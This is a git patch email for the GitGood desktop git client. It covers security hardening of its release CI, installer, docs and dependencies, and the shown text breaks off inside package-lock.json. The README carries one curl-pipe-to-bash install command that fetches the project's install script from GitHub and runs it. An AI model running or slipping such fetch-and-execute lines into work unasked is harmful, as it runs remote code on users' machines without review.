From e494a932fee397e316e7cf9256d07956e245ff6d Mon Sep 17 00:00:00 2001 From: Erwin Wee Date: Thu, 1 Oct 2026 20:31:54 +0800 Subject: [PATCH 01/17] =?UTF-8?q?fix:=20audit=20wave=201=20=E2=80=94=20sec?= =?UTF-8?q?urity=20hardening,=20release=20pipeline,=20UX=20and=20server=20?= =?UTF-8?q?fixes?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Security (audit #1-11, #14, #15, #19): - Repo-controlled files feeding AI/templates/config are read through a symlink-refusing, repo-confined reader; symlink diffs show link text. - toFsPath confines repo-relative paths; repo.readFile/writeFile check the physical parent too. - secrets.json / server token written 0600 (dir 0700); logger redacts secrets, never logs the server token, log file 0600; corrupt JSON stores are kept as *.corrupt- instead of being overwritten. - Error explanations scrub the failed command; scrubSecrets moved to src/shared/secrets.ts. - Settings sync only uses private gists holding the settings file and re-checks visibility before upload; custom agent command is machine-local. - Trust prompt grants trust only for the command it displayed. - gitgood://review/rerun links carry a single-use token; links without one ask for confirmation before uploading anything. - Custom agent templates must quote {file} in double quotes. - AI palette inspect commands use per-command option allowlists and run diffs with --no-ext-diff --no-textconv. - Ref/branch arguments starting with '-' are refused in the main process. - IPC accepted only from the app's own top-level frame; navigation limited to the exact entry document. Server / web (#7, #23, #27, #38-40): - /gitgood-bridge.js refuses cross-site fetches and sends CORP same-origin. - Repo indicators use a light porcelain-v2 read with bounded concurrency. - Web folder picker rendered by the app's Dialog. - Managed background server on macOS (LaunchAgent) and Windows (HKCU Run key + --gitgood-server, no elevation). - Web tabs back off when reconnecting, show a Reconnecting banner, and offer a reload after a server upgrade. UX (#24, #28-30): error boundary with Reload/Copy details, AA-contrast diff gutter, forced-colors styles, resizable History file pane. Release / CI (#12, #13, #20, #58-62): SHA-pinned actions, read-only build jobs and a separate publish job, installer fails closed on unverifiable checksums and gains --uninstall, signing wired to optional secrets, release script refuses to skip the CI gate silently, Dependabot, ESLint react-hooks lint, Node 24 CI, universal mac / win arm64 / Linux deb targets, Electron 44.5.1 and @anthropic-ai/sdk 0.131. --- .github/dependabot.yml | 10 + .github/workflows/release.yml | 70 +- .github/workflows/test.yml | 17 +- README.md | 14 +- docs/AI-FEATURES.md | 4 +- docs/CONTRIBUTING.md | 2 +- docs/DEVELOPMENT.md | 3 + docs/RELEASING.md | 27 +- electron-builder.yml | 10 +- eslint.config.mjs | 18 + package-lock.json | 1061 ++++++++++++++++- package.json | 14 +- plugin/README.md | 2 +- plugin/skills/gitgood-review/SKILL.md | 4 +- scripts/install-linux.sh | 82 +- scripts/install-service.mjs | 5 + scripts/release.mjs | 19 +- src/main/ai/error-explain-core.ts | 23 +- src/main/ai/error-explain.ts | 3 +- src/main/ai/nlPolicy.ts | 119 +- src/main/ai/review-export.ts | 19 +- src/main/ai/review.ts | 47 +- src/main/app-url.ts | 26 + src/main/client.ts | 8 +- src/main/core/handlers.ts | 18 +- src/main/gh/gh.ts | 20 +- src/main/gh/issue-templates.ts | 19 +- src/main/gh/pr-template.ts | 16 +- src/main/gh/settings-sync.ts | 6 +- src/main/git/branches.ts | 10 + src/main/git/diff.ts | 16 +- src/main/git/operations.ts | 14 + src/main/git/status.ts | 15 + src/main/index.ts | 14 +- src/main/ipc.ts | 7 +- src/main/local-server.ts | 212 +++- src/main/logger.ts | 7 +- src/main/protocol.ts | 25 +- src/main/repo/config.ts | 15 +- src/main/repo/manager.ts | 24 +- src/main/repo/paths.ts | 37 +- src/main/settings/sync-core.ts | 3 +- src/main/store.ts | 25 +- src/main/update/update-core.ts | 3 + src/main/window.ts | 5 +- src/renderer/src/components/Banners.tsx | 35 +- src/renderer/src/components/ErrorBoundary.tsx | 47 + src/renderer/src/components/HistoryTab.tsx | 78 +- .../components/dialogs/ServerFolderPicker.tsx | 119 ++ .../src/components/dialogs/SettingsDialog.tsx | 7 +- .../dialogs/SettingsSyncDialogs.tsx | 4 +- src/renderer/src/components/dialogs/index.tsx | 12 +- src/renderer/src/components/ui.tsx | 2 + src/renderer/src/main.tsx | 6 +- src/renderer/src/state/actions.ts | 26 +- src/renderer/src/state/agentHandoff.ts | 28 +- src/renderer/src/styles/components.css | 25 +- src/renderer/src/styles/diff.css | 8 +- src/renderer/src/styles/forced-colors.css | 101 ++ src/server/index.ts | 13 +- src/server/security.ts | 2 +- src/server/web-bridge.ts | 121 +- src/shared/agent-presets.ts | 18 + src/shared/ipc.ts | 12 +- src/shared/secrets.ts | 21 + src/shared/types.ts | 4 +- src/shared/util.ts | 11 + test/agent-plugin.test.ts | 2 +- test/agent-presets.test.ts | 7 +- test/app-trust.test.ts | 67 ++ test/data-protection.test.ts | 85 ++ test/error-explain.test.ts | 3 +- test/fixture/gh-settings-sync.test.ts | 18 +- test/fixture/settings-sync-service.test.ts | 30 +- test/fixture/updater.test.ts | 2 +- test/local-server.test.ts | 79 +- test/main-parsers.test.ts | 18 +- test/nl-policy-hardening.test.ts | 60 + test/precommit-review-service.test.ts | 8 +- test/protocol.test.ts | 14 +- test/repo-file-safety.test.ts | 97 ++ test/review-export.test.ts | 35 +- test/server-security.test.ts | 20 +- test/server-web-bridge.test.ts | 89 +- test/settings-sync-core.test.ts | 18 +- .../scenarios/34-agent-review-handoff.json | 2 +- test/trust-config.test.ts | 45 + test/update-core.test.ts | 8 +- 88 files changed, 3063 insertions(+), 462 deletions(-) create mode 100644 .github/dependabot.yml create mode 100644 eslint.config.mjs create mode 100644 src/main/app-url.ts create mode 100644 src/renderer/src/components/ErrorBoundary.tsx create mode 100644 src/renderer/src/components/dialogs/ServerFolderPicker.tsx create mode 100644 src/renderer/src/styles/forced-colors.css create mode 100644 src/shared/secrets.ts create mode 100644 test/app-trust.test.ts create mode 100644 test/data-protection.test.ts create mode 100644 test/repo-file-safety.test.ts create mode 100644 test/trust-config.test.ts diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..5a32bd8 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,10 @@ +version: 2 +updates: + - package-ecosystem: npm + directory: / + schedule: + interval: weekly + - package-ecosystem: github-actions + directory: / + schedule: + interval: weekly diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 942508c..504760c 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -5,11 +5,13 @@ on: tags: - "v*" +# Nothing below can write by default. Only the publish job gets contents: write, +# and it never runs project code (no checkout, no npm install). permissions: - contents: write + contents: read jobs: - release: + build: strategy: fail-fast: false matrix: @@ -21,12 +23,16 @@ jobs: - os: ubuntu-latest dist: dist:linux runs-on: ${{ matrix.os }} + permissions: + contents: read steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - - uses: actions/setup-node@v4 + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: 22 + node-version: 24 cache: npm - name: Check the tag matches package.json @@ -44,7 +50,57 @@ jobs: - name: Typecheck run: npm run typecheck - - name: Build and publish - run: npm run ${{ matrix.dist }} -- --publish always + # Signing and notarization are driven by these secrets and only happen when + # they are set (see docs/RELEASING.md); unset secrets expand to empty + # strings, which electron-builder treats as "not provided". + - name: Build + run: npm run ${{ matrix.dist }} -- --publish never + env: + CSC_LINK: ${{ secrets.CSC_LINK }} + CSC_KEY_PASSWORD: ${{ secrets.CSC_KEY_PASSWORD }} + APPLE_ID: ${{ secrets.APPLE_ID }} + APPLE_APP_SPECIFIC_PASSWORD: ${{ secrets.APPLE_APP_SPECIFIC_PASSWORD }} + APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }} + + - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: release-${{ matrix.os }} + path: | + release/*/*.exe + release/*/*.dmg + release/*/*.zip + release/*/*.AppImage + release/*/*.deb + release/*/*.blockmap + release/*/latest*.yml + if-no-files-found: error + retention-days: 7 + + publish: + needs: build + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + path: dist + merge-multiple: true + + # The release must stay a DRAFT (review, add notes, publish by hand), and + # electron-updater's latest*.yml files are uploaded with the installers. + - name: Create or update the draft release env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GH_REPO: ${{ github.repository }} + run: | + if gh release view "$GITHUB_REF_NAME" >/dev/null 2>&1; then + is_draft=$(gh release view "$GITHUB_REF_NAME" --json isDraft -q .isDraft) + if [ "$is_draft" != "true" ]; then + echo "::error::Release $GITHUB_REF_NAME is already published; refusing to overwrite its assets." + exit 1 + fi + else + gh release create "$GITHUB_REF_NAME" --draft --verify-tag --title "$GITHUB_REF_NAME" --notes "" + fi + gh release upload "$GITHUB_REF_NAME" dist/* --clobber diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 8848bec..3ddd462 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -5,6 +5,9 @@ on: branches: [main] pull_request: +permissions: + contents: read + jobs: test: strategy: @@ -13,11 +16,13 @@ jobs: os: [ubuntu-latest, windows-latest] runs-on: ${{ matrix.os }} steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - - uses: actions/setup-node@v4 + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: 22 + node-version: 24 cache: npm - name: Install dependencies @@ -32,8 +37,8 @@ jobs: sudo apt-get update sudo apt-get install -y xvfb - - name: Typecheck - run: npm run typecheck + - name: Lint and typecheck + run: npm run lint # Headless server bundle: fails if server-reachable code imports electron. - name: Build server @@ -58,7 +63,7 @@ jobs: - name: Upload smoke artifacts if: always() - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: smoke-${{ matrix.os }} path: test/smoke/out/ diff --git a/README.md b/README.md index 08c1b83..df21e1f 100644 --- a/README.md +++ b/README.md @@ -32,7 +32,7 @@ Everything you expect from GitHub Desktop, mapped onto `git`/`gh`: - **Conflicts**: banner and dialog listing conflicted files (sorted with any low-confidence resolution first, and a per-file confidence/check summary), per-block **Accept ours / theirs / both / base**, whole-file ours/theirs, open in editor, mark resolved, continue/abort merge, rebase (with skip), cherry-pick and revert — plus **Resolve with AI** per file or for all files at once, confidence-tinted results with an explain-why popover per block, an optional post-resolution check, and **Resolve remaining like ``** once you've resolved one by hand. - **Integrations**: open in VS Code, Cursor, Sublime, Notepad++, Visual Studio, JetBrains IDEs and more; open in Windows Terminal, PowerShell, Command Prompt or Git Bash; show in Explorer; view on GitHub; create issue. - **Portable settings** (Options → Advanced, or File → Export/Import Settings…): export preferences, the repository list and integration choices to one JSON file, with a section checklist and an import preview (adds/changes/unchanged per section, merge or replace) — timestamped backups are kept before a replace. Optional **sync through a secret GitHub gist** (created or reused via the signed-in GitHub CLI): the sync card always shows which side changed since the last sync and lets you upload or download, never merging silently; disconnect keeps or deletes the gist. The export never includes your API key, saved GitHub credentials, tool paths or window position. -- **Updates** (Help → Check for Updates…, or Options → Advanced): checks the GitHub releases feed (via `electron-updater`) on launch and every 6 hours for a newer stable or (on the beta channel) prerelease version — never a downgrade — then downloads it in the background and offers **Restart to update** from a banner, the Help menu and the About dialog; automatic checking, automatic download and the release channel are configurable. Installing is blocked while a git operation or AI task is running, and reopens the same repository afterwards. Disabled in development builds, portable Windows builds, unsigned macOS builds and a read-only AppImage, which show *Updates unavailable in this build* instead. +- **Updates** (Help → Check for Updates…, or Options → Advanced): checks the GitHub releases feed (via `electron-updater`) on launch and every 6 hours for a newer stable or (on the beta channel) prerelease version — never a downgrade — then downloads it in the background and offers **Restart to update** from a banner, the Help menu and the About dialog; automatic checking, automatic download and the release channel are configurable. Installing is blocked while a git operation or AI task is running, and reopens the same repository afterwards. Disabled in development builds, portable Windows builds, unsigned macOS builds, `.deb` installs and a read-only AppImage, which show *Updates unavailable in this build* instead. - Light/dark/system theme, keyboard shortcuts mirroring GitHub Desktop, native menus. See [docs/AI-FEATURES.md](docs/AI-FEATURES.md) for a deep dive into how each AI feature works, what it sends and what stays local. @@ -41,13 +41,13 @@ See [docs/AI-FEATURES.md](docs/AI-FEATURES.md) for a deep dive into how each AI Grab the latest release for your platform from the [Releases page](https://github.com/erwin-wee/gitgood/releases/latest): -- **Windows**: `GitGood-Setup-.exe` (NSIS installer) -- **macOS**: `GitGood-.dmg` (unsigned — see note below) -- **Linux**: `GitGood-.AppImage` — `chmod +x` and run, or use the install script: +- **Windows**: `GitGood-Setup-.exe` (NSIS installer; one installer for x64 and ARM64) +- **macOS**: `GitGood-.dmg` (universal: Intel and Apple silicon; unsigned — see note below) +- **Linux**: `GitGood-.deb` (Debian/Ubuntu; updates come from the Releases page or your package manager, not the in-app updater), or `GitGood-.AppImage` — `chmod +x` and run, or use the install script: ```bash curl -fsSL https://raw.githubusercontent.com/erwin-wee/gitgood/main/scripts/install-linux.sh | bash ``` - It detects your distro (Debian/Ubuntu, Fedora/RHEL, Arch, openSUSE), installs `git`/`gh`/the AppImage runtime dependency via your package manager, and installs the latest AppImage to `~/.local/share/GitGood` with a `gitgood` command and a desktop menu entry. Run it with `--help` to see options (a specific version, a custom install path, skipping the prerequisite install). + It detects your distro (Debian/Ubuntu, Fedora/RHEL, Arch, openSUSE), installs `git`/`gh`/the AppImage runtime dependency via your package manager, and installs the latest AppImage to `~/.local/share/GitGood` with a `gitgood` command and a desktop menu entry. It checks the download's SHA-512 against the release's `latest-linux.yml` and stops if that cannot be verified (`--insecure-skip-verify` overrides). Run it with `--help` to see options (a specific version, a custom install path, skipping the prerequisite install) and use `--uninstall` to remove what it installed. Releases are unsigned. Windows will show a SmartScreen "unknown publisher" prompt (**More info → Run anyway**) the first time you launch a new version. macOS Gatekeeper may refuse to open the `.dmg` outright; if so, download the `.zip` instead and right-click → **Open** on the extracted app. See [docs/RELEASING.md](docs/RELEASING.md#signing) for the plan to fix this. @@ -74,7 +74,7 @@ GitGood can also run **headless as a web server** so you can reach it from a bro It executes `git`, `gh`, shell and AI-CLI commands **as the host user**, so it is locked down by default: - **Loopback only.** The server binds `127.0.0.1` and never `0.0.0.0`; `tailscale serve` is the only way in. Public exposure (`tailscale funnel`) is never enabled. It also only answers to `127.0.0.1`/`localhost` and `*.ts.net` host names, so a web page can't reach it through DNS rebinding. -- **Bearer token.** A 256-bit token is generated on first start, stored `0600` in the user-data directory, and printed once. It is required on `/invoke` and the `/events` WebSocket. +- **Bearer token.** A 256-bit token is generated on first start, stored `0600` in the user-data directory (`server-token`). It is printed to the terminal once on first start when stdout is a TTY; it is never written to the log. It is required on `/invoke` and the `/events` WebSocket. - **Tailscale identity.** Every request that comes through `tailscale serve`, including the page itself, must carry the allowed `Tailscale-User-Login`. By default that is the owner of this tailnet node (from `tailscale status`); set `GITGOOD_ALLOWED_LOGIN` to override. Other users and tagged devices are refused, and if no login can be determined nothing from the tailnet gets in. - **Path confinement.** Paths are restricted to the server user's home directory, the registered repositories, watched folders, the default clone directory and `GITGOOD_ALLOWED_ROOTS`; a path outside them is refused before any command runs. The web folder picker browses the same locations and accepts a typed path (absolute or `~/…`). @@ -89,7 +89,7 @@ tailscale serve --bg 4600 # GitGood is now at https://..ts.net ``` -To let the packaged desktop manage that service, choose **File → Run GitGood server in the background…**. It installs a user service that is auto-updated with the desktop and rewritten on each launch (including after AppImage updates), then uses `http://127.0.0.1:4600` and `tailscale serve`. Stop it with `systemctl --user disable --now gitgood-server`, then delete `~/.config/gitgood/server-url`. Checkout services installed by `npm run install:service` are unmanaged and are never rewritten automatically. +To let the packaged desktop manage that service, choose **File → Run GitGood server in the background…**. It installs a user service that is auto-updated with the desktop and rewritten on each launch (including after AppImage updates), then uses `http://127.0.0.1:4600` and `tailscale serve`. The service is a systemd user unit on Linux, a LaunchAgent (`~/Library/LaunchAgents/com.gitgood.server.plist`) on macOS, and on Windows a per-user login item (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, value `GitGoodServer`, no administrator rights needed) that starts `GitGood.exe --gitgood-server`, which runs only the server with no window; the macOS and Windows variants are not yet verified on real machines. Stop it with `systemctl --user disable --now gitgood-server` (Linux), `launchctl bootout gui/$(id -u)/com.gitgood.server` and delete the plist (macOS), or `reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GitGoodServer /f` and end the `GitGood.exe` process started with `--gitgood-server` in Task Manager (Windows), then delete `~/.config/gitgood/server-url`. Checkout services installed by `npm run install:service` (Linux only) are unmanaged and are never rewritten automatically. Installed copies of GitGood ship the server too; run it with the app's own runtime, e.g. `ELECTRON_RUN_AS_NODE=1 /path/to/gitgood /path/to/resources/app.asar/out/server/index.mjs` (for the Linux AppImage, `--appimage-extract` it first and use `squashfs-root/`). diff --git a/docs/AI-FEATURES.md b/docs/AI-FEATURES.md index ef16359..81dfe89 100644 --- a/docs/AI-FEATURES.md +++ b/docs/AI-FEATURES.md @@ -45,9 +45,9 @@ The commit form's **Review changes** action (next to the AI commit-message spark Every finished review run (pull request, branch or pre-commit) is also written to the repository's git directory as `/gitgood/review/latest.json` and `latest.md`, plus an immutable `runs/.json|.md` pair (pruned to the last five). The JSON carries the run id, the previous run id for the same target, the target, the per-file status and every finding (dismissed ones flagged); the Markdown lists the open findings grouped by file in severity order and opens with an instruction block for an agent (fix file by file, trust title and detail over line numbers once a file changed, never commit, how to ask for a re-review). Nothing is written into the working tree, and linked worktrees export into their own git directory. -The **Fix with agent** button (review panel footer and pre-commit findings strip; hidden when the provider is *Disabled* or every finding is dismissed) rewrites that export and opens your terminal (Options → Integrations → Shell) running the agent chosen under Options → AI → **Agent for fixes**: Claude Code, Codex, omp, or a custom command template in which `{file}` is replaced by the path of `latest.md`. A one-time notice explains what is handed over. Terminals GitGood cannot start a command in (Warp and Ghostty on macOS, Git Bash, the Debian `x-terminal-emulator` alternative, custom paths) open plainly with the command on the clipboard. The path is quoted for the shell that terminal parses the command with, so `$`, backticks and `%` in a repository path survive. +The **Fix with agent** button (review panel footer and pre-commit findings strip; hidden when the provider is *Disabled* or every finding is dismissed) rewrites that export and opens your terminal (Options → Integrations → Shell) running the agent chosen under Options → AI → **Agent for fixes**: Claude Code, Codex, omp, or a custom command template in which `{file}` is replaced by the path of `latest.md` (every `{file}` must sit inside double quotes, e.g. `aider "Read {file}"`; the template is machine-local and never exported or synced). A one-time notice explains what is handed over. Terminals GitGood cannot start a command in (Warp and Ghostty on macOS, Git Bash, the Debian `x-terminal-emulator` alternative, custom paths) open plainly with the command on the clipboard. The path is quoted for the shell that terminal parses the command with, so `$`, backticks and `%` in a repository path survive. -After a pre-commit review the agent finishes by opening `gitgood://review/rerun?repo=` (the exact command is in the export). GitGood brings its window to the front, opens that repository and re-runs the pre-commit review over the currently included files; the new export's `previousRunId` points at the run the agent worked from. Pull request and branch reviews read committed history, so they cannot see the agent's uncommitted edits: their export sets `rerun` to null and tells the agent to stop and report instead, and the deep link answers with a toast offering to review the pending changes rather than repeating an identical review. A review already running is left alone, and an unknown repository, a disabled provider or a repository without a review each produce a toast and nothing else. +After a pre-commit review the agent finishes by opening `gitgood://review/rerun?repo=&token=` (the exact command is in the export; the token is random per exported run, valid once, and a link without a valid token only shows a confirmation with the repository and files before anything is sent to the AI provider). GitGood brings its window to the front, opens that repository and re-runs the pre-commit review over the currently included files; the new export's `previousRunId` points at the run the agent worked from. Pull request and branch reviews read committed history, so they cannot see the agent's uncommitted edits: their export sets `rerun` to null and tells the agent to stop and report instead, and the deep link answers with a toast offering to review the pending changes rather than repeating an identical review. A review already running is left alone, and an unknown repository, a disabled provider or a repository without a review each produce a toast and nothing else. The `plugin/` folder in this repository is an installable plugin for Claude Code, Codex and omp with the `gitgood-review` skill, a `/gitgood-review` command and a session-start hook that prints one line when the repository has open findings. See `plugin/README.md` for installation; the export works without it. diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md index e015af3..94267a8 100644 --- a/docs/CONTRIBUTING.md +++ b/docs/CONTRIBUTING.md @@ -15,7 +15,7 @@ See [DEVELOPMENT.md](DEVELOPMENT.md) for installing dependencies and running the ## Before opening a pull request ```bash -npm run typecheck +npm run lint # eslint (react-hooks) + typecheck npm test ``` diff --git a/docs/DEVELOPMENT.md b/docs/DEVELOPMENT.md index 9baea68..bdc178b 100644 --- a/docs/DEVELOPMENT.md +++ b/docs/DEVELOPMENT.md @@ -2,6 +2,8 @@ ## Getting started +Node `^20.19 || >=22.12` (`engines` in `package.json`; the headless server bundle targets Node 20). CI uses Node 24, the line Electron 44 ships. + ```bash npm install npm run dev # electron-vite dev server with hot reload @@ -10,6 +12,7 @@ npm run test:unit # just the pure unit tests (diff parser, patch builder, git npm run test:fixture # git/gh wrapper tests against real temporary repos and a stub gh/claude on PATH npm run test:smoke # builds the app and drives it offscreen (no visible window) through real user flows; GITGOOD_SMOKE_SHOW=1 to watch npm run typecheck # main + renderer TypeScript +npm run lint # React hooks rules (eslint, renderer only) + typecheck ``` `npm run test:smoke` needs a display server on Linux — it uses `xvfb-run` automatically when available (see `scripts/smoke.mjs`), and runs directly against a real display on Windows/macOS or a machine that already has one. diff --git a/docs/RELEASING.md b/docs/RELEASING.md index eaf0528..82d8575 100644 --- a/docs/RELEASING.md +++ b/docs/RELEASING.md @@ -3,15 +3,17 @@ ## Building packages locally ```bash -npm run dist:win # produces release//GitGood-Setup-.exe (NSIS installer) +npm run dist:win # produces release//GitGood-Setup-.exe (one NSIS installer for x64 + arm64) ``` -`npm run dist:linux` builds an AppImage and `npm run dist:mac` a dmg/zip. Builds are unsigned; add your certificate configuration to `electron-builder.yml` for signed releases. +`npm run dist:linux` builds an AppImage and a `.deb`, `npm run dist:mac` a universal (Intel + Apple silicon) dmg/zip. Local builds are unsigned unless the signing environment variables below are set. Packaging notes: - Build the Windows installer on Windows (`npm run dist:win`). Cross-building it from Linux/macOS also works but needs `wine` installed for electron-builder's NSIS step; without it you still get `release//win-unpacked/` (a runnable portable folder) but no `Setup.exe`. -- A `.deb` target can be added back to `linux.target` in `electron-builder.yml`, but electron-builder's `fpm` needs `libcrypt.so.1` (`libxcrypt-compat` on Arch-based systems) on the build machine. +- The `.deb` target uses electron-builder's `fpm`, which needs `libcrypt.so.1` (`libxcrypt-compat` on Arch-based systems) on the build machine. +- The macOS universal build merges x64 and arm64 apps and is meant to be built on macOS. +- Flathub and AUR packages are separate repositories (a Flathub manifest, a PKGBUILD); nothing here builds or publishes them. - The installer registers the `gitgood://` and `x-github-client://` URL schemes, so GitHub's "Open with GitHub Desktop" buttons open the repository in GitGood (or offer to clone it). ## Cutting a release @@ -27,7 +29,7 @@ npm run release:tag # tag main at package.json's version and push `prepare` refuses a version that does not move forward, a tag that already exists, or a dirty or diverged `main`; `tag` additionally refuses to run while the -Test workflow on `main` is failing or unfinished (`--no-verify` skips that). +Test workflow on `main` is failing, unfinished or for a different commit than `HEAD`. If `gh` cannot answer, `tag` refuses too; `--skip-ci-check` skips the check entirely. Both ask before doing anything; `--yes` answers for you. By hand it is a bump of `version` in `package.json`, merged to `main`, then a @@ -37,7 +39,7 @@ tag matching it: git tag v0.2.0 && git push origin v0.2.0 ``` -`.github/workflows/release.yml` builds Windows/macOS/Linux in parallel and publishes the artifacts to a **draft** GitHub Release (`electron-builder.yml`'s `publish` block, `releaseType: draft`) — review the draft, add notes, and publish it manually from the Releases page. +`.github/workflows/release.yml` builds Windows/macOS/Linux in parallel with read-only permissions (`--publish never`) and uploads the installers, blockmaps and `latest*.yml` as workflow artifacts. A separate `publish` job, the only one with `contents: write`, then creates (or reuses) the **draft** GitHub Release for the tag and uploads them — review the draft, add notes, and publish it manually from the Releases page. It refuses to touch a release that is already published. Every action in the workflows is pinned to a commit SHA (Dependabot keeps them current); when bumping one by hand, look the SHA up with `gh api repos///git/ref/tags/` (dereference annotated tags) and keep the `# vX.Y.Z` comment. The tag is what starts a release, so two things have to hold or the assets never arrive: @@ -46,13 +48,18 @@ The tag is what starts a release, so two things have to hold or the assets never ## Auto-update -Installed copies check the GitHub releases feed (via `electron-updater`) on launch and every 6 hours, download a newer eligible release in the background, and offer **Restart to update**. See `openspec/changes/add-auto-update` for the full design (channels, install gating, per-machine Windows installs, and what's still unverified end-to-end). +Installed copies check the GitHub releases feed (via `electron-updater`) on launch and every 6 hours, download a newer eligible release in the background, and offer **Restart to update**. `.deb` installs are excluded on purpose (electron-updater would `dpkg -i` the download as root): they show *Updates are unavailable for system-package (.deb) installs* and update from the Releases page or a package manager. See `openspec/changes/add-auto-update` for the full design (channels, install gating, per-machine Windows installs, and what's still unverified end-to-end). ## Signing -Releases are currently unsigned: +`release.yml` passes these repository secrets to the build step, and electron-builder signs and notarizes only when they are set; with none set the build is unsigned, exactly as before: -- **Windows** triggers a SmartScreen "unknown publisher" prompt on first run of a new version. -- **macOS** Gatekeeper may refuse to open the `.dmg` outright without notarization. +| Secret | Used for | +| --- | --- | +| `CSC_LINK` | Certificate (`.p12`/`.pfx`, base64 or URL) for macOS (Developer ID Application) and Windows signing | +| `CSC_KEY_PASSWORD` | Password of that certificate | +| `APPLE_ID` | Apple ID used for notarization | +| `APPLE_APP_SPECIFIC_PASSWORD` | App-specific password for that Apple ID | +| `APPLE_TEAM_ID` | Apple Developer team ID | -Setting up real signing needs accounts/credentials this repo's automation doesn't manage (an Apple Developer Program membership + Developer ID certificate for macOS notarization, and a CI-compatible signing service — e.g. SignPath's free OSS tier, or Azure Trusted Signing — for Windows, since CA/Browser Forum rules require OV/EV code-signing keys to live on a hardware token or HSM). Once you've created the certificates/accounts and added the resulting secrets to the repo's GitHub Actions secrets, `electron-builder.yml` and `.github/workflows/release.yml` can be wired to consume them (notarize block, `azureSignOptions`, or a SignPath step) — that wiring isn't done yet. +**Not done, needs you:** the certificates and accounts themselves — an Apple Developer Program membership with a Developer ID Application certificate, and a Windows code-signing certificate. `CSC_LINK` is one variable shared by both platforms, so a single secret cannot hold both a Mac and a Windows certificate; and OV/EV Windows keys must live on a hardware token/HSM under CA/Browser Forum rules, which a `.pfx` secret cannot satisfy — for those, use a signing service (SignPath's free OSS tier, Azure Trusted Signing) and extend the workflow (`azureSignOptions` or a SignPath step). Until signed builds are verified, the updater stays disabled on macOS (`detectDisabledReason` in `src/main/update/update-core.ts`), and Windows shows SmartScreen's "unknown publisher" prompt. diff --git a/electron-builder.yml b/electron-builder.yml index fb7d2ba..60791ba 100644 --- a/electron-builder.yml +++ b/electron-builder.yml @@ -17,7 +17,7 @@ extraResources: win: target: - target: nsis - arch: [x64] + arch: [x64, arm64] icon: build/icon.png artifactName: ${productName}-Setup-${version}.${ext} nsis: @@ -29,12 +29,16 @@ nsis: shortcutName: GitGood deleteAppDataOnUninstall: false mac: - target: [dmg, zip] + target: + - target: dmg + arch: [universal] + - target: zip + arch: [universal] category: public.app-category.developer-tools icon: build/icon.png artifactName: ${productName}-${version}.${ext} linux: - target: [AppImage] + target: [AppImage, deb] category: Development icon: build/icon.png maintainer: Erwin Wee diff --git a/eslint.config.mjs b/eslint.config.mjs new file mode 100644 index 0000000..59d78b7 --- /dev/null +++ b/eslint.config.mjs @@ -0,0 +1,18 @@ +import tsParser from '@typescript-eslint/parser'; +import reactHooks from 'eslint-plugin-react-hooks'; + +// Only the React hooks rules, and only where React lives: TypeScript already covers the rest of what a +// linter would flag, and main-process helpers named useX (git's useSide) are not hooks. +export default [ + { ignores: ['out/**', 'release/**', 'node_modules/**'] }, + { + files: ['src/renderer/**/*.{ts,tsx}'], + languageOptions: { parser: tsParser }, + linterOptions: { reportUnusedDisableDirectives: 'off' }, + plugins: { 'react-hooks': reactHooks }, + rules: { + 'react-hooks/rules-of-hooks': 'error', + 'react-hooks/exhaustive-deps': 'warn', + }, + }, +]; diff --git a/package-lock.json b/package-lock.json index a3b6440..4b7fb54 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,7 +10,7 @@ "hasInstallScript": true, "license": "MIT", "dependencies": { - "@anthropic-ai/sdk": "^0.126.0", + "@anthropic-ai/sdk": "^0.131.0", "electron-updater": "6.8.9", "highlight.js": "^11.12.0", "react": "^19.3.0", @@ -20,19 +20,22 @@ "@types/node": "^24.0.0", "@types/react": "^19.3.0", "@types/react-dom": "^19.3.0", + "@typescript-eslint/parser": "^8.71.0", "@vitejs/plugin-react": "^5.1.0", - "electron": "^44.4.1", + "electron": "^44.5.1", "electron-builder": "^26.15.3", "electron-vite": "^5.0.0", + "eslint": "^10.11.0", + "eslint-plugin-react-hooks": "^7.1.1", "typescript": "^5.9.0", "vite": "^7.3.0", "vitest": "^5.0.1" } }, "node_modules/@anthropic-ai/sdk": { - "version": "0.126.0", - "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.126.0.tgz", - "integrity": "sha512-VhiZl6rA/8uC+MgDaOhEcAWaIZ2tPnIY885jlZqxrGrutUW2nqCtophBtlsX0tk5kChBUjV/1NVjL3y0M4OwUg==", + "version": "0.131.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.131.0.tgz", + "integrity": "sha512-9+PepoU7qVMmM70jSahdnfcMHAvAnzhMOLv2W9WjRLO+OG/MAiBETkwKZqv7KIJ1Cj5h8eZ019bHzZaq+Mbepw==", "license": "MIT", "dependencies": { "json-schema-to-ts": "^3.1.1", @@ -357,6 +360,67 @@ "node": ">=6.9.0" } }, + "node_modules/@cacheable/memory": { + "version": "2.2.0", + "resolved": 